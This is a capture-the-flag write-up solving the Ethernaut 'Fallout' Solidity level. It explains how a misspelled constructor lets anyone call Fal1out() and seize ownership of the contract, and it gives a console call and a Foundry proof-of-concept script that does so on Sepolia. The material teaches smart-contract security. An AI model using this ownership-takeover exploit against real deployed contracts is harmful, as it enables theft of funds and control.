The Ethernaut CTF Solutions | 02 - Fallout
The necessity of code reviews and proper testing.
Goals
The hack
Unlike a normal function that can be called anytime, a constructor is only executed once during the creation of the contract. In solidity versions before 0.8.0
, a constructor was defined by naming it the same as your contract's name.
pragma solidity ^0.6.0;
contract Foo {
// This is a constructor, same name as the contract
function Foo() public payable {}
// This is a function
function foo() public payable {}
}
Unfortunately, the typo in the Fal1out()
function converts it to a normal function instead of a constructor. Because of that, Fal1out()
is a public function that anyone can call to take ownership of the contract.
/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
The Fal1out
function should have been named Fallout
.
Since solidity 0.8.0
, a special keyword constructor
has been introduced:
pragma solidity ^0.8.0;
contract Foo {
// This is a constructor
constructor () payable {}
// This is a function not following best practices
function Foo() public payable {}
// This is a function
function foo() public payable {}
}
Solution
Simply call the Fal1out()
function to take ownership of the contract.
JavaScript (Browser's console):
await contract.Fal1out();
Solidity (Foundry):
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import {Script, console2} from "forge-std/Script.sol";
interface IFal1out {
function Fal1out() external payable;
function owner() external view returns (address);
}
contract PoC is Script {
// Replace this with your Fallout instance
IFal1out fal1out = IFal1out(0x74AeDd06d77592Fbf41dcd0fa39B04894DB78C52);
function run() external {
uint256 deployer = vm.envUint("PRIVATE_KEY");
vm.startBroadcast(deployer);
console2.log("Current owner: ", fal1out.owner());
fal1out.Fal1out();
console2.log("New owner: ", fal1out.owner());
vm.stopBroadcast();
}
}
And the script to deploy our newly crafted contract:
forge script script/02_Fal1out.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key $ETHERSCAN_API_KEY
๐ Level completed ๐
Takeaway
Review your code carefully and multiple times before deploying it.
Use tests to catch obvious bugs like this one.
You can find all the codes, challenges, and their solutions on my GitHub: https://github.com/Pedrojok01/Ethernaut-Solutions/